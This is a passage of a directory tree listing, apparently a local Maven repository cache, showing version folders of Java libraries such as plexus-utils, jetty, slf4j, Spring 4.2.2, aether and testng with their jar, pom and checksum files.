│ │ │ │ │ ├── plexus-io-1.0.jar.sha1 │ │ │ │ │ │ │ ├── plexus-io-1.0.pom │ │ │ │ │ │ │ └── plexus-io-1.0.pom.sha1 │ │ │ │ │ │ ├── 2.0.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-io-2.0.1.pom │ │ │ │ │ │ │ └── plexus-io-2.0.1.pom.sha1 │ │ │ │ │ │ └── 2.0.2/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-io-2.0.2.jar │ │ │ │ │ │ ├── plexus-io-2.0.2.jar.sha1 │ │ │ │ │ │ ├── plexus-io-2.0.2.pom │ │ │ │ │ │ └── plexus-io-2.0.2.pom.sha1 │ │ │ │ │ ├── plexus-utils/ │ │ │ │ │ │ ├── 1.0.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.0.4.pom │ │ │ │ │ │ │ └── plexus-utils-1.0.4.pom.sha1 │ │ │ │ │ │ ├── 1.3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.3.pom │ │ │ │ │ │ │ └── plexus-utils-1.3.pom.sha1 │ │ │ │ │ │ ├── 1.4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.4.1.pom │ │ │ │ │ │ │ └── plexus-utils-1.4.1.pom.sha1 │ │ │ │ │ │ ├── 1.4.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.4.2.pom │ │ │ │ │ │ │ └── plexus-utils-1.4.2.pom.sha1 │ │ │ │ │ │ ├── 1.4.5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.4.5.pom │ │ │ │ │ │ │ └── plexus-utils-1.4.5.pom.sha1 │ │ │ │ │ │ ├── 1.5.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.1.jar │ │ │ │ │ │ │ ├── plexus-utils-1.5.1.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-1.5.1.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.1.pom.sha1 │ │ │ │ │ │ ├── 1.5.10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.10.jar │ │ │ │ │ │ │ ├── plexus-utils-1.5.10.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-1.5.10.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.10.pom.sha1 │ │ │ │ │ │ ├── 1.5.15/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.15.jar │ │ │ │ │ │ │ ├── plexus-utils-1.5.15.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-1.5.15.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.15.pom.sha1 │ │ │ │ │ │ ├── 1.5.5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.5.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.5.pom.sha1 │ │ │ │ │ │ ├── 1.5.6/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.6.jar │ │ │ │ │ │ │ ├── plexus-utils-1.5.6.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-1.5.6.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.6.pom.sha1 │ │ │ │ │ │ ├── 1.5.8/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-1.5.8.pom │ │ │ │ │ │ │ └── plexus-utils-1.5.8.pom.sha1 │ │ │ │ │ │ ├── 2.0.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-2.0.4.pom │ │ │ │ │ │ │ └── plexus-utils-2.0.4.pom.sha1 │ │ │ │ │ │ ├── 2.0.5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-2.0.5.jar │ │ │ │ │ │ │ ├── plexus-utils-2.0.5.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-2.0.5.pom │ │ │ │ │ │ │ └── plexus-utils-2.0.5.pom.sha1 │ │ │ │ │ │ ├── 3.0/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-3.0.jar │ │ │ │ │ │ │ ├── plexus-utils-3.0.jar.sha1 │ │ │ │ │ │ │ ├── plexus-utils-3.0.pom │ │ │ │ │ │ │ └── plexus-utils-3.0.pom.sha1 │ │ │ │ │ │ ├── 3.0.10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-utils-3.0.10.pom │ │ │ │ │ │ │ └── plexus-utils-3.0.10.pom.sha1 │ │ │ │ │ │ └── 3.0.5/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-utils-3.0.5.jar │ │ │ │ │ │ ├── plexus-utils-3.0.5.jar.sha1 │ │ │ │ │ │ ├── plexus-utils-3.0.5.pom │ │ │ │ │ │ └── plexus-utils-3.0.5.pom.sha1 │ │ │ │ │ └── plexus-velocity/ │ │ │ │ │ ├── 1.1.7/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-velocity-1.1.7.pom │ │ │ │ │ │ └── plexus-velocity-1.1.7.pom.sha1 │ │ │ │ │ └── 1.1.8/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── plexus-velocity-1.1.8.jar │ │ │ │ │ ├── plexus-velocity-1.1.8.jar.sha1 │ │ │ │ │ ├── plexus-velocity-1.1.8.pom │ │ │ │ │ └── plexus-velocity-1.1.8.pom.sha1 │ │ │ │ ├── eclipse/ │ │ │ │ │ ├── aether/ │ │ │ │ │ │ ├── aether/ │ │ │ │ │ │ │ └── 0.9.0.M2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── aether-0.9.0.M2.pom │ │ │ │ │ │ │ └── aether-0.9.0.M2.pom.sha1 │ │ │ │ │ │ └── aether-util/ │ │ │ │ │ │ └── 0.9.0.M2/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── aether-util-0.9.0.M2.jar │ │ │ │ │ │ ├── aether-util-0.9.0.M2.jar.sha1 │ │ │ │ │ │ ├── aether-util-0.9.0.M2.pom │ │ │ │ │ │ └── aether-util-0.9.0.M2.pom.sha1 │ │ │ │ │ └── jetty/ │ │ │ │ │ └── jetty-parent/ │ │ │ │ │ └── 14/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── jetty-parent-14.pom │ │ │ │ │ └── jetty-parent-14.pom.sha1 │ │ │ │ ├── glassfish/ │ │ │ │ │ ├── api/ │ │ │ │ │ │ └── api/ │ │ │ │ │ │ └── 1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── api-1.pom │ │ │ │ │ │ └── api-1.pom.sha1 │ │ │ │ │ └── pom/ │ │ │ │ │ └── 2/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── pom-2.pom │ │ │ │ │ └── pom-2.pom.sha1 │ │ │ │ ├── hamcrest/ │ │ │ │ │ ├── hamcrest-core/ │ │ │ │ │ │ └── 1.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── hamcrest-core-1.1.jar │ │ │ │ │ │ ├── hamcrest-core-1.1.jar.sha1 │ │ │ │ │ │ ├── hamcrest-core-1.1.pom │ │ │ │ │ │ └── hamcrest-core-1.1.pom.sha1 │ │ │ │ │ └── hamcrest-parent/ │ │ │ │ │ └── 1.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── hamcrest-parent-1.1.pom │ │ │ │ │ └── hamcrest-parent-1.1.pom.sha1 │ │ │ │ ├── mortbay/ │ │ │ │ │ └── jetty/ │ │ │ │ │ ├── jetty/ │ │ │ │ │ │ └── 6.1.25/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── jetty-6.1.25.jar │ │ │ │ │ │ ├── jetty-6.1.25.jar.sha1 │ │ │ │ │ │ ├── jetty-6.1.25.pom │ │ │ │ │ │ └── jetty-6.1.25.pom.sha1 │ │ │ │ │ ├── jetty-parent/ │ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── jetty-parent-10.pom │ │ │ │ │ │ │ └── jetty-parent-10.pom.sha1 │ │ │ │ │ │ └── 7/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── jetty-parent-7.pom │ │ │ │ │ │ └── jetty-parent-7.pom.sha1 │ │ │ │ │ ├── jetty-util/ │ │ │ │ │ │ └── 6.1.25/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── jetty-util-6.1.25.jar │ │ │ │ │ │ ├── jetty-util-6.1.25.jar.sha1 │ │ │ │ │ │ ├── jetty-util-6.1.25.pom │ │ │ │ │ │ └── jetty-util-6.1.25.pom.sha1 │ │ │ │ │ ├── project/ │ │ │ │ │ │ └── 6.1.25/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── project-6.1.25.pom │ │ │ │ │ │ └── project-6.1.25.pom.sha1 │ │ │ │ │ └── servlet-api/ │ │ │ │ │ └── 2.5-20081211/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── servlet-api-2.5-20081211.jar │ │ │ │ │ ├── servlet-api-2.5-20081211.jar.sha1 │ │ │ │ │ ├── servlet-api-2.5-20081211.pom │ │ │ │ │ └── servlet-api-2.5-20081211.pom.sha1 │ │ │ │ ├── ow2/ │ │ │ │ │ ├── asm/ │ │ │ │ │ │ ├── asm/ │ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── asm-4.1.jar │ │ │ │ │ │ │ ├── asm-4.1.jar.sha1 │ │ │ │ │ │ │ ├── asm-4.1.pom │ │ │ │ │ │ │ └── asm-4.1.pom.sha1 │ │ │ │ │ │ ├── asm-analysis/ │ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── asm-analysis-4.1.jar │ │ │ │ │ │ │ ├── asm-analysis-4.1.jar.sha1 │ │ │ │ │ │ │ ├── asm-analysis-4.1.pom │ │ │ │ │ │ │ └── asm-analysis-4.1.pom.sha1 │ │ │ │ │ │ ├── asm-parent/ │ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── asm-parent-4.1.pom │ │ │ │ │ │ │ └── asm-parent-4.1.pom.sha1 │ │ │ │ │ │ ├── asm-tree/ │ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── asm-tree-4.1.jar │ │ │ │ │ │ │ ├── asm-tree-4.1.jar.sha1 │ │ │ │ │ │ │ ├── asm-tree-4.1.pom │ │ │ │ │ │ │ └── asm-tree-4.1.pom.sha1 │ │ │ │ │ │ └── asm-util/ │ │ │ │ │ │ └── 4.1/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── asm-util-4.1.jar │ │ │ │ │ │ ├── asm-util-4.1.jar.sha1 │ │ │ │ │ │ ├── asm-util-4.1.pom │ │ │ │ │ │ └── asm-util-4.1.pom.sha1 │ │ │ │ │ └── ow2/ │ │ │ │ │ └── 1.3/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── ow2-1.3.pom │ │ │ │ │ └── ow2-1.3.pom.sha1 │ │ │ │ ├── parboiled/ │ │ │ │ │ ├── parboiled-core/ │ │ │ │ │ │ └── 1.1.4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── parboiled-core-1.1.4.jar │ │ │ │ │ │ ├── parboiled-core-1.1.4.jar.sha1 │ │ │ │ │ │ ├── parboiled-core-1.1.4.pom │ │ │ │ │ │ └── parboiled-core-1.1.4.pom.sha1 │ │ │ │ │ └── parboiled-java/ │ │ │ │ │ └── 1.1.4/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── parboiled-java-1.1.4.jar │ │ │ │ │ ├── parboiled-java-1.1.4.jar.sha1 │ │ │ │ │ ├── parboiled-java-1.1.4.pom │ │ │ │ │ └── parboiled-java-1.1.4.pom.sha1 │ │ │ │ ├── pegdown/ │ │ │ │ │ └── pegdown/ │ │ │ │ │ └── 1.2.1/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── pegdown-1.2.1.jar │ │ │ │ │ ├── pegdown-1.2.1.jar.sha1 │ │ │ │ │ ├── pegdown-1.2.1.pom │ │ │ │ │ └── pegdown-1.2.1.pom.sha1 │ │ │ │ ├── slf4j/ │ │ │ │ │ ├── jcl-over-slf4j/ │ │ │ │ │ │ └── 1.5.6/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── jcl-over-slf4j-1.5.6.jar │ │ │ │ │ │ ├── jcl-over-slf4j-1.5.6.jar.sha1 │ │ │ │ │ │ ├── jcl-over-slf4j-1.5.6.pom │ │ │ │ │ │ └── jcl-over-slf4j-1.5.6.pom.sha1 │ │ │ │ │ ├── slf4j-api/ │ │ │ │ │ │ ├── 1.5.6/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── slf4j-api-1.5.6.jar │ │ │ │ │ │ │ ├── slf4j-api-1.5.6.jar.sha1 │ │ │ │ │ │ │ ├── slf4j-api-1.5.6.pom │ │ │ │ │ │ │ └── slf4j-api-1.5.6.pom.sha1 │ │ │ │ │ │ ├── 1.6.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── slf4j-api-1.6.4.jar │ │ │ │ │ │ │ ├── slf4j-api-1.6.4.jar.sha1 │ │ │ │ │ │ │ ├── slf4j-api-1.6.4.pom │ │ │ │ │ │ │ └── slf4j-api-1.6.4.pom.sha1 │ │ │ │ │ │ └── 1.7.25/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── slf4j-api-1.7.25.jar │ │ │ │ │ │ ├── slf4j-api-1.7.25.jar.sha1 │ │ │ │ │ │ ├── slf4j-api-1.7.25.pom │ │ │ │ │ │ └── slf4j-api-1.7.25.pom.sha1 │ │ │ │ │ ├── slf4j-jdk14/ │ │ │ │ │ │ └── 1.5.6/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── slf4j-jdk14-1.5.6.jar │ │ │ │ │ │ ├── slf4j-jdk14-1.5.6.jar.sha1 │ │ │ │ │ │ ├── slf4j-jdk14-1.5.6.pom │ │ │ │ │ │ └── slf4j-jdk14-1.5.6.pom.sha1 │ │ │ │ │ └── slf4j-parent/ │ │ │ │ │ ├── 1.5.6/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── slf4j-parent-1.5.6.pom │ │ │ │ │ │ └── slf4j-parent-1.5.6.pom.sha1 │ │ │ │ │ ├── 1.6.4/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── slf4j-parent-1.6.4.pom │ │ │ │ │ │ └── slf4j-parent-1.6.4.pom.sha1 │ │ │ │ │ └── 1.7.25/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── slf4j-parent-1.7.25.pom │ │ │ │ │ └── slf4j-parent-1.7.25.pom.sha1 │ │ │ │ ├── sonatype/ │ │ │ │ │ ├── aether/ │ │ │ │ │ │ ├── aether-api/ │ │ │ │ │ │ │ └── 1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── aether-api-1.7.jar │ │ │ │ │ │ │ ├── aether-api-1.7.jar.sha1 │ │ │ │ │ │ │ ├── aether-api-1.7.pom │ │ │ │ │ │ │ └── aether-api-1.7.pom.sha1 │ │ │ │ │ │ ├── aether-impl/ │ │ │ │ │ │ │ └── 1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── aether-impl-1.7.jar │ │ │ │ │ │ │ ├── aether-impl-1.7.jar.sha1 │ │ │ │ │ │ │ ├── aether-impl-1.7.pom │ │ │ │ │ │ │ └── aether-impl-1.7.pom.sha1 │ │ │ │ │ │ ├── aether-parent/ │ │ │ │ │ │ │ └── 1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── aether-parent-1.7.pom │ │ │ │ │ │ │ └── aether-parent-1.7.pom.sha1 │ │ │ │ │ │ ├── aether-spi/ │ │ │ │ │ │ │ └── 1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── aether-spi-1.7.jar │ │ │ │ │ │ │ ├── aether-spi-1.7.jar.sha1 │ │ │ │ │ │ │ ├── aether-spi-1.7.pom │ │ │ │ │ │ │ └── aether-spi-1.7.pom.sha1 │ │ │ │ │ │ └── aether-util/ │ │ │ │ │ │ └── 1.7/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── aether-util-1.7.jar │ │ │ │ │ │ ├── aether-util-1.7.jar.sha1 │ │ │ │ │ │ ├── aether-util-1.7.pom │ │ │ │ │ │ └── aether-util-1.7.pom.sha1 │ │ │ │ │ ├── forge/ │ │ │ │ │ │ └── forge-parent/ │ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── forge-parent-10.pom │ │ │ │ │ │ │ └── forge-parent-10.pom.sha1 │ │ │ │ │ │ ├── 3/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── forge-parent-3.pom │ │ │ │ │ │ │ └── forge-parent-3.pom.sha1 │ │ │ │ │ │ ├── 4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── forge-parent-4.pom │ │ │ │ │ │ │ └── forge-parent-4.pom.sha1 │ │ │ │ │ │ ├── 5/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── forge-parent-5.pom │ │ │ │ │ │ │ └── forge-parent-5.pom.sha1 │ │ │ │ │ │ └── 6/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── forge-parent-6.pom │ │ │ │ │ │ └── forge-parent-6.pom.sha1 │ │ │ │ │ ├── oss/ │ │ │ │ │ │ └── oss-parent/ │ │ │ │ │ │ └── 3/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── oss-parent-3.pom │ │ │ │ │ │ └── oss-parent-3.pom.sha1 │ │ │ │ │ ├── plexus/ │ │ │ │ │ │ ├── plexus-build-api/ │ │ │ │ │ │ │ └── 0.0.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-build-api-0.0.4.jar │ │ │ │ │ │ │ ├── plexus-build-api-0.0.4.jar.sha1 │ │ │ │ │ │ │ ├── plexus-build-api-0.0.4.pom │ │ │ │ │ │ │ └── plexus-build-api-0.0.4.pom.sha1 │ │ │ │ │ │ ├── plexus-cipher/ │ │ │ │ │ │ │ └── 1.4/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── plexus-cipher-1.4.jar │ │ │ │ │ │ │ ├── plexus-cipher-1.4.jar.sha1 │ │ │ │ │ │ │ ├── plexus-cipher-1.4.pom │ │ │ │ │ │ │ └── plexus-cipher-1.4.pom.sha1 │ │ │ │ │ │ └── plexus-sec-dispatcher/ │ │ │ │ │ │ └── 1.3/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── plexus-sec-dispatcher-1.3.jar │ │ │ │ │ │ ├── plexus-sec-dispatcher-1.3.jar.sha1 │ │ │ │ │ │ ├── plexus-sec-dispatcher-1.3.pom │ │ │ │ │ │ └── plexus-sec-dispatcher-1.3.pom.sha1 │ │ │ │ │ ├── sisu/ │ │ │ │ │ │ ├── inject/ │ │ │ │ │ │ │ ├── guice-bean/ │ │ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ │ ├── guice-bean-1.4.2.pom │ │ │ │ │ │ │ │ └── guice-bean-1.4.2.pom.sha1 │ │ │ │ │ │ │ └── guice-plexus/ │ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── guice-plexus-1.4.2.pom │ │ │ │ │ │ │ └── guice-plexus-1.4.2.pom.sha1 │ │ │ │ │ │ ├── sisu-guice/ │ │ │ │ │ │ │ └── 2.1.7/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── sisu-guice-2.1.7-noaop.jar │ │ │ │ │ │ │ ├── sisu-guice-2.1.7-noaop.jar.sha1 │ │ │ │ │ │ │ ├── sisu-guice-2.1.7.pom │ │ │ │ │ │ │ └── sisu-guice-2.1.7.pom.sha1 │ │ │ │ │ │ ├── sisu-inject/ │ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── sisu-inject-1.4.2.pom │ │ │ │ │ │ │ └── sisu-inject-1.4.2.pom.sha1 │ │ │ │ │ │ ├── sisu-inject-bean/ │ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── sisu-inject-bean-1.4.2.jar │ │ │ │ │ │ │ ├── sisu-inject-bean-1.4.2.jar.sha1 │ │ │ │ │ │ │ ├── sisu-inject-bean-1.4.2.pom │ │ │ │ │ │ │ └── sisu-inject-bean-1.4.2.pom.sha1 │ │ │ │ │ │ ├── sisu-inject-plexus/ │ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ │ ├── sisu-inject-plexus-1.4.2.jar │ │ │ │ │ │ │ ├── sisu-inject-plexus-1.4.2.jar.sha1 │ │ │ │ │ │ │ ├── sisu-inject-plexus-1.4.2.pom │ │ │ │ │ │ │ └── sisu-inject-plexus-1.4.2.pom.sha1 │ │ │ │ │ │ └── sisu-parent/ │ │ │ │ │ │ └── 1.4.2/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── sisu-parent-1.4.2.pom │ │ │ │ │ │ └── sisu-parent-1.4.2.pom.sha1 │ │ │ │ │ └── spice/ │ │ │ │ │ └── spice-parent/ │ │ │ │ │ ├── 10/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spice-parent-10.pom │ │ │ │ │ │ └── spice-parent-10.pom.sha1 │ │ │ │ │ ├── 12/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spice-parent-12.pom │ │ │ │ │ │ └── spice-parent-12.pom.sha1 │ │ │ │ │ ├── 16/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spice-parent-16.pom │ │ │ │ │ │ └── spice-parent-16.pom.sha1 │ │ │ │ │ └── 17/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── spice-parent-17.pom │ │ │ │ │ └── spice-parent-17.pom.sha1 │ │ │ │ ├── springframework/ │ │ │ │ │ ├── boot/ │ │ │ │ │ │ ├── spring-boot-starter-test/ │ │ │ │ │ │ │ └── unknown/ │ │ │ │ │ │ │ ├── spring-boot-starter-test-unknown.jar.lastUpdated │ │ │ │ │ │ │ └── spring-boot-starter-test-unknown.pom.lastUpdated │ │ │ │ │ │ └── spring-boot-starter-web/ │ │ │ │ │ │ └── unknown/ │ │ │ │ │ │ ├── spring-boot-starter-web-unknown.jar.lastUpdated │ │ │ │ │ │ └── spring-boot-starter-web-unknown.pom.lastUpdated │ │ │ │ │ ├── spring-aop/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-aop-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-aop-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-aop-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-aop-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-beans/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-beans-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-beans-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-beans-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-beans-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-context/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-context-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-context-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-context-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-context-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-context-support/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-context-support-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-context-support-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-context-support-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-context-support-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-core/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-core-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-core-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-core-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-core-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-expression/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-expression-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-expression-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-expression-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-expression-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-jdbc/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-jdbc-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-jdbc-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-jdbc-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-jdbc-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-test/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-test-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-test-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-test-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-test-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-tx/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-tx-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-tx-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-tx-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-tx-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ ├── spring-web/ │ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ │ ├── spring-web-4.2.2.RELEASE.jar │ │ │ │ │ │ ├── spring-web-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ │ ├── spring-web-4.2.2.RELEASE.pom │ │ │ │ │ │ └── spring-web-4.2.2.RELEASE.pom.sha1 │ │ │ │ │ └── spring-webmvc/ │ │ │ │ │ └── 4.2.2.RELEASE/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── spring-webmvc-4.2.2.RELEASE.jar │ │ │ │ │ ├── spring-webmvc-4.2.2.RELEASE.jar.sha1 │ │ │ │ │ ├── spring-webmvc-4.2.2.RELEASE.pom │ │ │ │ │ └── spring-webmvc-4.2.2.RELEASE.pom.sha1 │ │ │ │ ├── testng/ │ │ │ │ │ └── testng/ │ │ │ │ │ └── 6.8.7/ │ │ │ │ │ ├── _remote.repositories │ │ │ │ │ ├── testng-6.8.7.jar │ │ │ │ │ ├── testng-6.8.7.jar.sha1 │ │ │ │ │ ├── testng-6.8.7.pom │ │ │ │ │ └── testng-6.8.7.pom.sha1 │ │ │ │ └── yaml/ │ │ │ │ └── snakeyaml/ │ │ │ │ └── 1.12/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── snakeyaml-1.12.jar │ │ │ │ ├── snakeyaml-1.12.jar.sha1 │ │ │ │ ├── snakeyaml-1.12.pom │ │ │ │ └── snakeyaml-1.12.pom.sha1 │ │ │ ├── oro/ │ │ │ │ └── oro/ │ │ │ │ └── 2.0.8/ │ │ │ │ ├── _remote.repositories │ │ │ │ ├── oro-2.0.8.jar │ │ │ │ ├── oro-2.0.8.jar.sha1 │ │ │ │ ├── oro-2.0.8.pom │ │ │ │ └── oro-2.0.8.pom.sha1 │ │ │ ├── sslext/ │ │ │ 